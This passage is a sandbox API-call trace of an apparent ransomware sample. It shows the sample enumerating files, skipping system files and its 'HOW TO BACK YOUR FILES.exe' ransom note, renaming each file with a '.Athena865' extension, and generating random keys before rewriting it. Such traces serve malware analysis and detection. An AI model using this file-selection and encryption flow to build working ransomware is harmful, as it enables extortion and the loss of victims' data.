0x5192b0 [0048.659] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.660] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.660] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.660] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0x154 [0048.662] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000 [0048.663] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.663] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.663] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.664] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.664] CloseHandle (hObject=0x154) returned 1 [0048.664] CloseHandle (hObject=0x17c) returned 1 [0048.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.665] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".") returned 1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="..") returned 1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="windows") returned -1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="temp") returned -1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="boot") returned 1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="perflogs") returned -1 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.665] lstrlenW (lpString="MS.MSOUC.14.1033.hxn") returned 20 [0048.665] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.MSOUC.14.1033.hxn" | out: lpString1="MS.MSOUC.14.1033.hxn") returned="MS.MSOUC.14.1033.hxn" [0048.665] lstrlenW (lpString="MS.MSOUC.14.1033.hxn") returned 20 [0048.665] lstrlenW (lpString="Athena865") returned 9 [0048.665] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.665] lstrlenW (lpString=".dll") returned 4 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".dll") returned 1 [0048.665] lstrlenW (lpString=".lnk") returned 4 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".lnk") returned 1 [0048.665] lstrlenW (lpString=".ini") returned 4 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".ini") returned 1 [0048.665] lstrlenW (lpString=".sys") returned 4 [0048.665] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".sys") returned 1 [0048.665] lstrlenW (lpString="MS.MSOUC.14.1033.hxn") returned 20 [0048.665] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn.Athena865") returned 60 [0048.665] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.667] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.667] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=326) returned 1 [0048.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.667] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.668] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.668] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.668] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x154 [0048.670] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000 [0048.670] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.671] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.671] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.672] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.672] CloseHandle (hObject=0x154) returned 1 [0048.672] CloseHandle (hObject=0x17c) returned 1 [0048.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.672] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1 [0048.672] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.672] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.672] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".") returned 1 [0048.672] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="..") returned 1 [0048.672] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="windows") returned -1 [0048.672] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.672] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="temp") returned -1 [0048.672] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.672] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="boot") returned 1 [0048.672] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.673] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.673] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="perflogs") returned -1 [0048.673] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.673] lstrlenW (lpString="MS.MSPUB.14.1033.hxn") returned 20 [0048.673] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.MSPUB.14.1033.hxn" | out: lpString1="MS.MSPUB.14.1033.hxn") returned="MS.MSPUB.14.1033.hxn" [0048.673] lstrlenW (lpString="MS.MSPUB.14.1033.hxn") returned 20 [0048.673] lstrlenW (lpString="Athena865") returned 9 [0048.673] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.673] lstrlenW (lpString=".dll") returned 4 [0048.673] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".dll") returned 1 [0048.673] lstrlenW (lpString=".lnk") returned 4 [0048.673] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".lnk") returned 1 [0048.673] lstrlenW (lpString=".ini") returned 4 [0048.673] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".ini") returned 1 [0048.673] lstrlenW (lpString=".sys") returned 4 [0048.673] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".sys") returned 1 [0048.673] lstrlenW (lpString="MS.MSPUB.14.1033.hxn") returned 20 [0048.673] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn.Athena865") returned 60 [0048.673] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.674] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.674] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=326) returned 1 [0048.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.675] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.675] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.675] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.676] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x154 [0048.677] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000 [0048.678] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.679] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.679] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.679] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.679] CloseHandle (hObject=0x154) returned 1 [0048.680] CloseHandle (hObject=0x17c) returned 1 [0048.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.680] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn", cAlternateFileName="MSMSPU~2.HXN")) returned 1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".") returned 1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="..") returned 1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="windows") returned -1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="temp") returned -1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="boot") returned 1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="perflogs") returned -1 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.680] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn") returned 24 [0048.680] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.MSPUB.DEV.14.1033.hxn" | out: lpString1="MS.MSPUB.DEV.14.1033.hxn") returned="MS.MSPUB.DEV.14.1033.hxn" [0048.680] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn") returned 24 [0048.680] lstrlenW (lpString="Athena865") returned 9 [0048.680] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.680] lstrlenW (lpString=".dll") returned 4 [0048.680] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".dll") returned 1 [0048.681] lstrlenW (lpString=".lnk") returned 4 [0048.681] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".lnk") returned 1 [0048.681] lstrlenW (lpString=".ini") returned 4 [0048.681] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".ini") returned 1 [0048.681] lstrlenW (lpString=".sys") returned 4 [0048.681] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".sys") returned 1 [0048.681] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn") returned 24 [0048.681] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.Athena865") returned 64 [0048.681] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.682] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.682] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=350) returned 1 [0048.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.682] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.683] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.683] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.683] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.686] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.686] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.687] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.687] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.688] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.688] CloseHandle (hObject=0x154) returned 1 [0048.688] CloseHandle (hObject=0x17c) returned 1 [0048.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.688] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn", cAlternateFileName="MSMSTO~1.HXN")) returned 1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".") returned 1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="..") returned 1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="windows") returned -1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="temp") returned -1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="boot") returned 1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="perflogs") returned -1 [0048.688] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.688] lstrlenW (lpString="MS.MSTORE.14.1033.hxn") returned 21 [0048.689] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.MSTORE.14.1033.hxn" | out: lpString1="MS.MSTORE.14.1033.hxn") returned="MS.MSTORE.14.1033.hxn" [0048.689] lstrlenW (lpString="MS.MSTORE.14.1033.hxn") returned 21 [0048.689] lstrlenW (lpString="Athena865") returned 9 [0048.689] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.689] lstrlenW (lpString=".dll") returned 4 [0048.689] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".dll") returned 1 [0048.689] lstrlenW (lpString=".lnk") returned 4 [0048.689] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".lnk") returned 1 [0048.689] lstrlenW (lpString=".ini") returned 4 [0048.689] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".ini") returned 1 [0048.689] lstrlenW (lpString=".sys") returned 4 [0048.689] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".sys") returned 1 [0048.689] 